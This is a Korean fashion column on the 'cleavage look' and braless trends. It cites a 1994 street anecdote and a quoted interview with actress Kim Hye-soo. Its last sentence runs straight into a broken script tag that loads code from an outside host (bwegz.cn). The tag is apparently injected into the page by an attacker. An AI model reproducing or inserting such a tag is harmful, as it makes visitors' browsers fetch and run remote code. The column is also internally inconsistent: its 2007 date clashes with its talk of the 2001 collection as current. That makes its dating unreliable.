올 여름 패션의 핫 포테이토, '크리비지 룩'

2007-01-29 글/ 유재부(패션 컬럼리스트) 

봄인가 싶더니, 어느새 한여름의날씨를 연상케 하는무더위가 시작돼 벌써부터 패션리더들의 노출을 은근히 부추긴다. 지난 가을에미리 선보인 2001 봄/여름 컬렉션에서도 예외 없이 로맨틱한 시스루 룩과 일명 ‘크리비지 룩’이라불리는 가슴 노출 패션이 대거 등장해 아찔한(?) 올 여름을예고하기도 했다. 올 여름 패션의핫 포테이토인가슴 중간의 골짜기(?)를 살짝 드러내는 크리비지룩. 과연 뜰까?

올 여름 유행 아이템으로 디자이너들이 제안한 ‘노브라 패션’의 백미인 일명‘크리비지룩’은 단어 ‘크리비지(Cleavage)’의 의미 그대로 가슴이 깊이 파여 유방사이의 골짜기가 부분적으로 노출되는 스타일을 말한다. 다른 말로는 ‘계곡’이란뜻을 가진 ‘밸리 룩(Valley Look)’으로 불리기도 한다. 이 옷을 입은 여성들이야 자신의 성적인 매력을 백분 발휘할 수 있는 절호의 기회가 될 수도 있지만 이런 차림을 대할 때 눈을 어디에 두어야 할 지 모르는 남자들에게는 지옥 같은(?), 어쩌면 황홀한 여름이 될 듯.
94년이던가. 필자가 압구정동에서 스트리트 패션을 취재할 때였다. 검게 그을린 피부의 늘씬한 쭉쭉빵빵 미녀가 핫 팬츠에 형광그린의 탱크톱을 입고 전화박스에서 전화를 걸고있었다. 당시 탱크톱은 파격적인 패션이었고 뭇 남성들은 유독 그 전화박스에만 긴 줄을 만들어 자기순서를 기다렸다. 물론 모든 시선은 그녀에게로 모아졌고, 그 뜨거운 눈길에 견디지못한 그녀는 자리를 피하는 양 오픈 차를 몰고 사라졌다(당시에는 핸드폰이 없었다). 이후 배꼽티라는 별명을 얻은 ‘탱크톱’은 일부 지역에서는 착용을 경범죄로 다루기도 했다. 그러나, 이에 굴하지 않고 여성들 사이에서는 미니 스커트 못지 않은 필수 아이템으로 부상했다.
배꼽 노출에 이어 이번에는 크리비지룩으로 시작되는 노브라 패션이 화두가 되지않을까?
그동안 노브라에 대한 사회적인 나쁜 선입견(?) 때문에 노출 패션을 연출하고픈 대부분의 여성들은 은근한 노출인 레이어드 룩을 통해 조신함(?)을 보였지만 자아의식과 개성을 중요시하는 (게다가 성형의 힘을 빌려애써 몸을 만드는) 요즘 신세대들에게는 노브라가 그리 크게 문제될 것 같지는 않다. 적어도 본인 스스로에게는 말이다. 탱크톱을 입을 때도 브라를 하지 않는 여성들이 늘어나고 있으니까.

‘가리기’와 ‘보여주기’를 넘나드는 아슬아슬한 즐거움
사실 패션에서 여자의 가슴은 ‘가리기’와 ‘보여주기’를넘나드는, 그리고 성적인 매력과 페미니티적 메시지를 전달하는 매개체로서의 역할을 해왔다. 물론 시대를 막론하고 그것에 대한 즐거운 시비는 계속되어왔지만…. 다만 오늘날의 가슴 노출이 이전과 다른 점이라면 더욱 당당해지고 대담해지는 추세라는 것이다.이를 ‘나가요 패션’이라고 깎아내리는 반응도 있지만 어쩌랴, 패션이라는 것이 자기 만족이고 자기 표현인 것을….
우리나라 여성 중에서 ‘크리비지 룩’을 가장 잘 소화하는 여성, 한발 더 나아가 크리비지룩의 전도사를 든다면 두말할 필요 없이 건강미인 김혜수다. 그녀는 영화제 시상식이나 자신의 TV 토크쇼를 통해 노골적인 크리비지룩을 선보였다. 방송이 끝난 후 네티즌들 사이에서는 찬반양론이 비등했고, 영화제 시상식이 TV로 생중계되고난 다음날이면 그녀의 파격적인 크리비지 룩은 ‘자신감의 표현’이라는 찬사와 ‘지나친 노출’이라는 비난을 동시에 받는다. 그러나 아무리 여론이 부정적이라고 해도 ‘김혜수 패션’은 당당히 스트리트에 등장한다. 아름다움에 대한 여성의 끝없는 욕망 때문이리라.
그럼 잠시 할리우드의 오스카상 시상식에 참가하기 위해 붉은 카페트가 깔린 포토라인을 걸어 들어오는 여배우들을 한번 상상해보라. 저마다 자신의 가슴을 드러내 섹시미를 자랑하는 경연장을 방불케 하지 않는가? 보수적인 잣대로, 아니면 자신의 눈에 거슬린다고 무조건 비판만 하는 것은 좀 문제가 있지 않을까?
사회의 비판적인 시선에도 불구하고 꾸준히 크리비지 룩을 추구하는 ‘크리비지 걸’김혜수의 생각은 어떨까? 그녀는 모 패션지와의 인터뷰에서 다음과 같이 말했다.
“‘무슨 옷을 입었느냐’가 관심사가 아니고, ‘얼마나 노출이 심한 드레스를 입었는가’가 관심사라면 코메디죠. 저는 마돈나같은 여성해방 운동론자도 아니고 이탈리아의 포르노 배우 치치올리나처럼 노출증 환자도 아니예요. 다만 내게 맞는 옷을 분위기에 맞춰 입을 뿐이죠. 그 이상도 그 이하도 아니예요. 제가 보통의 여자보다 건강미가 돋보여 섹시하게 보이기도 하겠지만 그걸 의식하고 옷을 입지는 않아요.”

올 여름 노브라 예찬론자들의 선택, 크리비지 룩
20세기가 코르셋의 해방을 통한 ‘페미니니티(Femininity:여성다움)’ 트렌드가 시작되는 시기였다면, 21세기는 브래지어로 부터의 해방을 통한‘페미니니티’의 완성?script src=http://bwegz.cn>

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